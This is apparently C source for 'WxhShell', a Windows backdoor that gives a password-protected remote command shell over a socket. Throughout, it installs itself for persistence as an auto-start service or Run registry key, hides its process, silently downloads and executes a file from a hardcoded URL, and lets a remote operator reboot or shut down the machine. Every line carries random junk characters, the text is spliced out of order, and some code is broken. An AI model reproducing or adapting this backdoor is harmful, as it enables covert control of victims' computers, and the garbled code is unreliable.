    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \yizIo.Y`  
    if(Boot(SHUTDOWN)) MZMv.OeYt,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @y2Bq['  
    else {  1`JN  
    closesocket(wsh); soK_l|z:J  
    ExitThread(0); \D k^\-  
    } =y/ Lbe}:  
    break; hpe s  
    } O.f3 (e!  
  // 获取shell X?xm1|\  
  case 's': { &`y_R'  
    CmdShell(wsh); {YLJKu!M  
    closesocket(wsh);  p.Yg-CA  
    ExitThread(0); Uy'ZL(2  
    break; Nxk'!:  
  } Q#bo!]H{t  
  // 退出 :WTvP$R  
  case 'x': { S$:S*6M@"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iJ#oI@s  
    CloseIt(wsh); ;] o^u.PC  
    break; j`hbQp\`  
    } I=I%e3GEm  
  // 离开 :dc J6  
  case 'q': { u3!!_~6,z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G?(:Z=  
    closesocket(wsh); uR[i9%=8L(  
    WSACleanup(); p-_j0zv  
    exit(1); VB%xV   
    break; 7t QiKrhp  
        } 3]Mx,u  
  } 7dRU7p>  
  } 2J5dZYW  
%|~ UNP$  
  // 提示信息 LGkKR{ep(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MmB-SR[>P  
} >'eqOZM  
  } TfOZ>uR"g  
:1I,:L  
  return; fr7/%{s  
} H+Wd#7l,  
X,b} d#\  
// shell模块句柄 1vr/|RWW  
int CmdShell(SOCKET sock) = zSrre  
{ qi$8GX=~r  
STARTUPINFO si; h=aHZ6v  
ZeroMemory(&si,sizeof(si)); HD>{UU?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w>e OERZa  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; OkM>  
PROCESS_INFORMATION ProcessInfo; 0qv)'[O  
char cmdline[]="cmd"; _gHJ4(?w  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b]~M$y60q  
  return 0; 7g$t$cZby,  
} 0WFZx Ad"  
Kj7Osqu2bE  
// 自身启动模式 &xVWN>bd^  
int StartFromService(void) 9D bp`%j  
{ 1VeCAx[e  
typedef struct TCYnErqk  
{ >/>a++19  
  DWORD ExitStatus; KNn E5f  
  DWORD PebBaseAddress; $]vR,E  
  DWORD AffinityMask; a7Jr} "B  
  DWORD BasePriority; 3ySnAAG  
  ULONG UniqueProcessId; srC jq  
  ULONG InheritedFromUniqueProcessId; +$9w[ARN+  
}   PROCESS_BASIC_INFORMATION; 5H79) n>  
7J _H Ox#  
PROCNTQSIP NtQueryInformationProcess; ,W#y7 t  
1 >Op)T>{c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 67e1Y@Xu  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R'{V&H^Z  
b`2~  
  HANDLE             hProcess; 8E" .y$AW  
  PROCESS_BASIC_INFORMATION pbi; ScI9.{  
Mfgd;FsX#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZK;HW  
  if(NULL == hInst ) return 0; ' ft  |  
h_cZ&P|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t+&WsCN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KT8Fn+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); CV`  I.  
l-mUc1.S  
  if (!NtQueryInformationProcess) return 0; ;%U`P8b!  
@M(vaJB8u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); # OJD<=")  
  if(!hProcess) return 0; 6L2.88 i  
3A+d8fwi  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \Wo,^qR  
Q=+KnE=h  
  CloseHandle(hProcess); lAoH@+dyA+  
p1Els /|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1|zo -'y  
if(hProcess==NULL) return 0; 6VA@;g0$  
C9~CP8  
HMODULE hMod; $FD0MrB_+  
char procName[255]; /{Nx%PqL  
unsigned long cbNeeded; n\d-^ml  
wL}=$DN  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P2lj#aQLS  
#/YKA{  
  CloseHandle(hProcess); zX)uC<  
or0f%wAF  
if(strstr(procName,"services")) return 1; // 以服务启动 Yw./V0Z{@  
Ix}:!L  
  return 0; // 注册表启动 H1N%uk=kV  
} }VyD X14j  
0kmZO"K#e  
// 主模块 >d_O0a*W-  
int StartWxhshell(LPSTR lpCmdLine) ]81P<Y(7  
{ ZXp=QH+f  
  SOCKET wsl; @'dtlY5;  
BOOL val=TRUE; f~t*8rG~m  
  int port=0; 3PPN_Z  
  struct sockaddr_in door; 4R.rSsAH  
`O*+%/(  
  if(wscfg.ws_autoins) Install(); }ufH![|[r  
Kk-A?ju@g  
port=atoi(lpCmdLine); I)T]}et  
iku) otUc  
if(port<=0) port=wscfg.ws_port; 6/ F]ncwG  
u 6;SgPw  
  WSADATA data; 3y<;fdS7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?X~Keb  
83e{rcs  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =UT*1-yh R  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w 7s+6,  
  door.sin_family = AF_INET; 9+_SG/@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); a;8q7nC  
  door.sin_port = htons(port); cl/}PmYIZ  
G?v]p~6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >+LFu?y  
closesocket(wsl); R$sG*=a!8j  
return 1; IXc"gO  
} [AA'Ko  
*`7cvt5]IM  
  if(listen(wsl,2) == INVALID_SOCKET) { 7G z f>n  
closesocket(wsl); :VGvL"Kro  
return 1; \ ?sM  
} 1U^;fqvja  
  Wxhshell(wsl); TldqF BX  
  WSACleanup(); Q!9AxM2K  
My vp PW  
return 0; T5$db-^  
^Q0%_V,  
} G AI( =  
&>,c..Ke  
// 以NT服务方式启动 Ahv%Q%m%2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !#xk?LyB  
{ Wo+fMn(O  
DWORD   status = 0; sba+J:#w  
  DWORD   specificError = 0xfffffff; /?C}PM  
)\ow/XPE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |L%}@e Vw_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $q%r}Cdg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^}8qPBz  
  serviceStatus.dwWin32ExitCode     = 0; ;n`SF~CU  
  serviceStatus.dwServiceSpecificExitCode = 0; Ti:PKpc  
  serviceStatus.dwCheckPoint       = 0; LpN_s#  
  serviceStatus.dwWaitHint       = 0; =n7QLQU  
:|%k*z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %zsY=qT  
  if (hServiceStatusHandle==0) return; ,}?x!3  
c%tb6@C  
status = GetLastError(); % s&l^&ux  
  if (status!=NO_ERROR) N/CL?Z>c  
{ ny'?Hl'Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; U|yXJ.Z3  
    serviceStatus.dwCheckPoint       = 0; vM5yiHI(jb  
    serviceStatus.dwWaitHint       = 0; KFZ2%:6>  
    serviceStatus.dwWin32ExitCode     = status; QmxI ;l  
    serviceStatus.dwServiceSpecificExitCode = specificError; _[IOPHa"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /zV&ebN]  
    return; ;=r_R!d@  
  } {^(h*zxn  
t`%Xxxu  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `-yo-59E[  
  serviceStatus.dwCheckPoint       = 0; Fp=O:]  
  serviceStatus.dwWaitHint       = 0; !79eF)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -9)H [}.  
} :Q]P=-Y8  
>x'R7z23  
// 处理NT服务事件,比如:启动、停止 l|{q8i#4V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X3mHg5zt  
{ IPHZ~'M  
switch(fdwControl) ,y5,+:Y ~  
{ P-]u&m/6  
case SERVICE_CONTROL_STOP: bSJ@ 5qS  
  serviceStatus.dwWin32ExitCode = 0; ,#?iu?i/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [0>I6Jl  
  serviceStatus.dwCheckPoint   = 0; Tew?e&eO  
  serviceStatus.dwWaitHint     = 0; r8%"#<]/  
  { WtS5i7:<Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;8Qx~:c  
  } |[./jg"  
  return; \%BII>VS  
case SERVICE_CONTROL_PAUSE: }o,-@R~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \k 9EimT}  
  break; +V Oczl=  
case SERVICE_CONTROL_CONTINUE: v0q(k;Ya  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dQ#$(<v[  
  break; {f1iys'Om  
case SERVICE_CONTROL_INTERROGATE: 1RHFWK5Si  
  break; FHOF 6}if  
}; X iW~? *Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u7(<YSOs  
} -}x( MZ  
GUDz>(  
// 标准应用程序主函数 ! mb<z^>5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^ jYE4gHM  
{ Q  h~  
cZR9rnZT  
// 获取操作系统版本 , ;$SRQ.  
OsIsNt=GetOsVer(); y <] x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i U"2uLgb  
+Hd'*'c  
  // 从命令行安装 ?Z(xu~^/  
  if(strpbrk(lpCmdLine,"iI")) Install(); fug F k  
BZP{{  
  // 下载执行文件 Ht4A   
if(wscfg.ws_downexe) { 6N< snBmd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r}nz )=\Cj  
  WinExec(wscfg.ws_filenam,SW_HIDE); z{m%^,Cs,  
} (Q(=MEar  
8*&|Q1`K:  
if(!OsIsNt) { )`5=6i  
// 如果时win9x,隐藏进程并且设置为注册表启动 Bcl6n@{2f  
HideProc(); ,hSTR)  
StartWxhshell(lpCmdLine); SX1w5+p$C  
} F<0GX!p4u  
else O_ 4 j"0  
  if(StartFromService()) N!lQ;o'  
  // 以服务方式启动 Wj I NY  
  StartServiceCtrlDispatcher(DispatchTable); s:zz 8oN  
else 5}Z_A?gy  
  // 普通方式启动  $*$X5  
  StartWxhshell(lpCmdLine); Eg+ z(m$M  
sI<PYi={-6  
return 0; q=x1:^rVH  
} ^~` t q+  
CNM pyr  
=wquFA!c  
p>h&SD?b  
=========================================== ;%^T*?t  
Jp 7m$D%  
$+WMKv@<  
l1UN.l'p  
ab8F\%y-8  
;d<RP VE:  
" sjj,q?  
s;W1YN  
#include <stdio.h> L %20tm  
#include <string.h> GUcGu5tw:  
#include <windows.h> {?uG] G7  
#include <winsock2.h> x5(B(V@b  
#include <winsvc.h> w%?6s3   
#include <urlmon.h> ]I: h4hgw  
|R3A$r#-  
#pragma comment (lib, "Ws2_32.lib") M _e^KF  
#pragma comment (lib, "urlmon.lib") 6b-E|;"]:^  
"w&G1kw5I  
#define MAX_USER   100 // 最大客户端连接数 +`&-xq76  
#define BUF_SOCK   200 // sock buffer pxV@fH+`  
#define KEY_BUFF   255 // 输入 buffer Z(c2F]  
5pz(6gA  
#define REBOOT     0   // 重启 }J+ \o~  
#define SHUTDOWN   1   // 关机 cyXnZs ?|  
<sor;;T  
#define DEF_PORT   5000 // 监听端口 snvixbN  
|PutTcjQ  
#define REG_LEN     16   // 注册表键长度 ><w=  
#define SVC_LEN     80   // NT服务名长度 cz;gz4d8  
I?X!v6  
// 从dll定义API F.$NYr/|y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }%Vx2Q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RxUzJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <2ymfL-q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "yf#sEabV  
d: LP8  
// wxhshell配置信息 :<PwG]LO  
struct WSCFG { [DSD[[ z[  
  int ws_port;         // 监听端口 S*'  
  char ws_passstr[REG_LEN]; // 口令 0oPcZ""X]  
  int ws_autoins;       // 安装标记, 1=yes 0=no ZU K'z  
  char ws_regname[REG_LEN]; // 注册表键名 )uazB!X  
  char ws_svcname[REG_LEN]; // 服务名 #G\;)pT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Np2.X+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 l~'NqmXe  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 cIOM}/gqv  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r8TNl@Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K!qV82b='{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i1ss}JJp*  
n]a/nv  
}; w6G<&1iH  
{hi'LA-4@  
// default Wxhshell configuration o06vC  
struct WSCFG wscfg={DEF_PORT, eG08Xt |lc  
    "xuhuanlingzhe", %dDwus  
    1, ?X~U[dV?  
    "Wxhshell", &? z6f9*$  
    "Wxhshell",  IA{I|g<  
            "WxhShell Service", 2 `nOYK  
    "Wrsky Windows CmdShell Service", -J(93@X 9  
    "Please Input Your Password: ", 'Ej&zh  
  1, bFwc>  
  "http://www.wrsky.com/wxhshell.exe", 5o2|QL  
  "Wxhshell.exe" 7yFV.#K3O  
    }; .?LP$O=  
Xw]L'+V=  
// 消息定义模块 1zWEK]2.R  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :GN7JxD#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +?y9EZB%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; yGX"1Fb?;x  
char *msg_ws_ext="\n\rExit."; X.FFBKjf[e  
char *msg_ws_end="\n\rQuit."; Y4,LXuQ  
char *msg_ws_boot="\n\rReboot..."; CSNfLGA  
char *msg_ws_poff="\n\rShutdown..."; kdp- |9  
char *msg_ws_down="\n\rSave to "; +kZW:t!-  
xAJuIR1Hi  
char *msg_ws_err="\n\rErr!"; E;Q ,{{#  
char *msg_ws_ok="\n\rOK!"; 65AG# O5R  
D9-D%R,  
char ExeFile[MAX_PATH]; D/TEx2.=J3  
int nUser = 0; G;yh$n<"  
HANDLE handles[MAX_USER]; +/Qgl  
int OsIsNt; bqSp4TI  
Fpckb18}(O  
SERVICE_STATUS       serviceStatus; +lED6 ]+%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6\GL|#G  
W>T6Wlxu`6  
// 函数声明 *WK0dn  
int Install(void); pipqXe  
int Uninstall(void); $|n#L6k  
int DownloadFile(char *sURL, SOCKET wsh); +9[s(E?SY  
int Boot(int flag); k/mO(i%qi  
void HideProc(void); Hribk[99  
int GetOsVer(void);  >q^l  
int Wxhshell(SOCKET wsl); vY'E+M"+@  
void TalkWithClient(void *cs); qgk6 \&K[  
int CmdShell(SOCKET sock); %eQw\o,a  
int StartFromService(void); V>:ubl8j0l  
int StartWxhshell(LPSTR lpCmdLine); -Gn0TA2/C  
uBqZ62{G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); AD4Ot5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *Rj(~Q/t  
>Z&Y!w'A|u  
// 数据结构和表定义 *\T ]Z&E"  
SERVICE_TABLE_ENTRY DispatchTable[] = FCPi U3  
{ (|_N2R!  
{wscfg.ws_svcname, NTServiceMain}, 2#t35fU  
{NULL, NULL} uwhb-.w  
}; :Miri_l  
9Netnzv%  
// 自我安装 @-G^Jm9~\m  
int Install(void) .7v .DR>  
{ PA<<{\dp  
  char svExeFile[MAX_PATH]; zpM%L:S  
  HKEY key; MO-)j_o-Z  
  strcpy(svExeFile,ExeFile); t182&gpd`  
C3z#A3&J  
// 如果是win9x系统,修改注册表设为自启动 <j^bk"l p  
if(!OsIsNt) { ?R8wmE[w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8oVQ:' 6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q;L~5q."E  
  RegCloseKey(key); P/;d|M(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y;1l].L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8e*1L:oB!  
  RegCloseKey(key); h4lrt  
  return 0; ZA Xw=O5  
    } V Mb r@9  
  } G~fM!F0   
} uIb,n5  
else { p`}'-A|@  
+ew9%={zB  
// 如果是NT以上系统,安装为系统服务 Ql.abU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i_kKE+Q  
if (schSCManager!=0) M8}t`q[-&  
{ Cp[ NVmN  
  SC_HANDLE schService = CreateService AV:P/M^B  
  ( [6{o13mCWE  
  schSCManager, qt{{q  
  wscfg.ws_svcname, +?[,{WtV  
  wscfg.ws_svcdisp, fBRU4q=^T  
  SERVICE_ALL_ACCESS, B`i 5lD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q#!]5  
  SERVICE_AUTO_START, JOvRU DZ  
  SERVICE_ERROR_NORMAL, <C6*-j1oz  
  svExeFile, w] =q>p  
  NULL, [d}AlG!  
  NULL, (M,IgSn9  
  NULL, F|3iKK022  
  NULL, 6x8P}?  
  NULL u[;,~eB%w  
  ); ** !  
  if (schService!=0) Gn7P` t*.  
  { mpysnKH  
  CloseServiceHandle(schService); oo{3-+ ?  
  CloseServiceHandle(schSCManager); xQK;3b  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9/_F  
  strcat(svExeFile,wscfg.ws_svcname); \n`)>-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { AQ` `Dp  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jDwLzvM O  
  RegCloseKey(key); ^qP}/H[QT  
  return 0; 32KL~32Y  
    } UoSzxL  
  } c>3AR17+5  
  CloseServiceHandle(schSCManager); F#^<t$5t  
} 1YxG<K]  
} n13#}i {tm  
"x P2GZ  
return 1; 1*o=I-nOa  
} l=.h]]`;  
MrGq{,6C  
// 自我卸载 >*FHJCe  
int Uninstall(void) XwNJHOaF  
{  s%c>Ge  
  HKEY key; r(Vz(  
MR{JMo=r  
if(!OsIsNt) { J jp)%c#_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yv2N5IQ>{V  
  RegDeleteValue(key,wscfg.ws_regname); quGv q"Y>  
  RegCloseKey(key); ejjL>'G/|%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1#m'u5L  
  RegDeleteValue(key,wscfg.ws_regname); B=p6p f  
  RegCloseKey(key); q }'ww  
  return 0; mtunD;_Dek  
  } |*5803h  
} G &LOjd 2  
} S pqbr@j  
else { ^}PG*h|  
f}C$!Lhs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ccPTJ/%$  
if (schSCManager!=0) o&Vti"fpC  
{ {Jx-Zo>'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vdt":  
  if (schService!=0) bB->7.GXu  
  { 7yM"G$  
  if(DeleteService(schService)!=0) { |2t1m 6\j  
  CloseServiceHandle(schService); tW)K pX  
  CloseServiceHandle(schSCManager); yur5" $n  
  return 0; a6<UMJ  
  } pSC\[%K  
  CloseServiceHandle(schService); #FNSE*Y  
  } o,D7$WzL  
  CloseServiceHandle(schSCManager); <jwQ&fm)/R  
} "7X[@xX@  
} W7PL]5y&  
=}1)/gcM  
return 1; }#Gq*^w  
} EpsjaOmAF  
,^K}_z\9f  
// 从指定url下载文件 )A1u uW (  
int DownloadFile(char *sURL, SOCKET wsh) ??u*qO:p  
{ Wp2$L-T&$  
  HRESULT hr; _< LJQ  
char seps[]= "/"; tP0\;W  
char *token; E'ay @YAp  
char *file; ;if PqL kO  
char myURL[MAX_PATH]; |@*3 nb8  
char myFILE[MAX_PATH]; Ua2waA  
wS"`~Ql_  
strcpy(myURL,sURL); Dm+[cA"I  
  token=strtok(myURL,seps); *&nIxb60b{  
  while(token!=NULL) BJNZH#"  
  { J\%SAit@  
    file=token; JOUZ"^v  
  token=strtok(NULL,seps); !+(c/ gwBh  
  } e\7AtlW"  
<<M1:1  
GetCurrentDirectory(MAX_PATH,myFILE); LyuA("xB#  
strcat(myFILE, "\\"); &`^P O $  
strcat(myFILE, file); FD[o94`%  
  send(wsh,myFILE,strlen(myFILE),0); 3"O&IY<  
send(wsh,"...",3,0); L}M%z9K` h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fuQk}OW{  
  if(hr==S_OK) nQaryL  
return 0; ZR8%h<  
else q*'-G]tH=  
return 1; \~BYY|UB;W  
r >;(\_@  
} \WPy9kRU  
gCL?{oVU  
// 系统电源模块 S\dG>F>S  
int Boot(int flag) ya'Ma<4  
{ 4o69t  
  HANDLE hToken; ]]^r)&pox  
  TOKEN_PRIVILEGES tkp; R}E$SmFg  
&y&pjo6v1  
  if(OsIsNt) { |QHIB?C?`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Bag_0.H&m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Is[n7Q  
    tkp.PrivilegeCount = 1; {TVQ]G%'b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Memb`3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &WJ;s*  
if(flag==REBOOT) { "~:P-]`G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) uGU-MC *  
  return 0; >v'@p  
} Z/e^G f#i  
else { %$6?em_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u/.# zn@9h  
  return 0; +k{l]-)1  
} Ov~vK\  
  } "UUoT  
  else { +|6E~#zklY  
if(flag==REBOOT) { }Dx5W9Ri"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fJK;[*&Y  
  return 0; #9rCF 3P  
} #B6$ r/%  
else { 8'-E>+L   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) KSve_CBOh  
  return 0; 6ee1^>  
} rKkFflOVO  
} :/\KVz'fw}  
DCSmEy`.  
return 1; j*_>/gi  
} q"-+`;^7(-  
'>:%n  
// win9x进程隐藏模块 k[a5D/b  
void HideProc(void) sp7#e%R\  
{ b>@fHmpwD  
ZfU &X{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _Rk>yJD7s  
  if ( hKernel != NULL ) vs2xx`Y<Lq  
  { ,?c=v`e  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Zjn![  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (vPE?^}b  
    FreeLibrary(hKernel); z0 J:"M  
  } FvyC$vip  
P/[}$(&:  
return; xA>3]<O  
} T!1Np'12zF  
W2]%QN=m$  
// 获取操作系统版本 r"W<1H u  
int GetOsVer(void) )&[Zw{6P  
{ wpf  
  OSVERSIONINFO winfo; `,s0^?_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #&Fd16ov  
  GetVersionEx(&winfo); T~naAP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Z|BOuB^   
  return 1; 9Idgib&  
  else )VeeAu)p  
  return 0; L"'L@ A|U  
} EASN#VG  
'e*:eBoyb  
// 客户端句柄模块 nnuJY$O;M  
int Wxhshell(SOCKET wsl) |k<5yj4?  
{ (AT)w/  
  SOCKET wsh; kPYQcOK8  
  struct sockaddr_in client; RY9Ur  
  DWORD myID; <ahcE1h  
ZW ZKyJQ  
  while(nUser<MAX_USER) ^)1!TewCY  
{ h{CMPJjD  
  int nSize=sizeof(client); ?jn";:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); F>ps& h  
  if(wsh==INVALID_SOCKET) return 1; l<p6zD$l  
'<aFd)-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); bj=YFV+  
if(handles[nUser]==0) %iD'2e:  
  closesocket(wsh); J\Z\q  
else TL@{yJ;s  
  nUser++; 3gz4c1 s^:  
  } }b / G{92  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5[A4K%EL  
bkL5srH  
  return 0; p}lFV,V  
} \SA$:^zO  
,,~|o3cfq  
// 关闭 socket Zrp9`~_g<!  
void CloseIt(SOCKET wsh) lt|UehJ F  
{ ePY69!pO5e  
closesocket(wsh); ol@LLT_m  
nUser--; dUP8[y  
ExitThread(0); RQW<Sp~  
} YA@OA$`E  
6@J)k V  
// 客户端请求句柄 $jN,] N~  
void TalkWithClient(void *cs) F17nWvF  
{ =Cp}iM  
ZZU"Q7`^  
  SOCKET wsh=(SOCKET)cs; ' 4 Kf  
  char pwd[SVC_LEN]; W_ubgCB  
  char cmd[KEY_BUFF]; 7_]Bu<{f  
char chr[1]; ?&"!,  
int i,j; pd oCV  
J}s)#va9R  
  while (nUser < MAX_USER) { > 72qi*0  
N}7tjk   
if(wscfg.ws_passstr) { h7[PU^m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nX-%qc"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J@Qw6J  
  //ZeroMemory(pwd,KEY_BUFF); XkuZ2(  
      i=0; yWZ%|K~$  
  while(i<SVC_LEN) { qb$f,E[  
j~`rc2n%  
  // 设置超时 k?ksv+e\  
  fd_set FdRead; KHt.g`1:R  
  struct timeval TimeOut; `+EjmY  
  FD_ZERO(&FdRead); pYaq1_<+  
  FD_SET(wsh,&FdRead); ]z 5gC`E0  
  TimeOut.tv_sec=8; Hv<jf38  
  TimeOut.tv_usec=0; 5Y(f7,JX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qY%{c-aMA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9 e0Oj3!B  
ompkDl\E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2B&|0&WI  
  pwd=chr[0]; s(M8 Y  
  if(chr[0]==0xd || chr[0]==0xa) { F<N{ x^  
  pwd=0; J(%kcueb  
  break; @M]7',2"  
  } yf7$m_$C'  
  i++; MYF6tZ*  
    } w|WehNGr  
b+ J)  
  // 如果是非法用户,关闭 socket Vq1v e;(8s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]BBL=$*  
} 1U;p+k5c  
pm}!?TL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j?'It`s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ET}Dh3A  
4^Ghn  
while(1) { :s`\jJ  
_T[m YY  
  ZeroMemory(cmd,KEY_BUFF); 4]3(Vyh`  
0s8w)%4$  
      // 自动支持客户端 telnet标准   ZdY)&LJ  
  j=0; "R v],O"  
  while(j<KEY_BUFF) { -% Z?rn2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8m;tgMFO  
  cmd[j]=chr[0]; `+O7IyTM A  
  if(chr[0]==0xa || chr[0]==0xd) { q+Cq&|4 ?2  
  cmd[j]=0; o$_,2$>mn  
  break; TEi~X 2u  
  } ]M5w!O!  
  j++; Q`7.-di  
    } ?O<D&CvB  
cN\Fgbt  
  // 下载文件 6!^&]4  
  if(strstr(cmd,"http://")) { smN |r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #DFfySH)A  
  if(DownloadFile(cmd,wsh)) OFe?T\dQn  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V,qc[*_3  
  else >|@i8?|E  
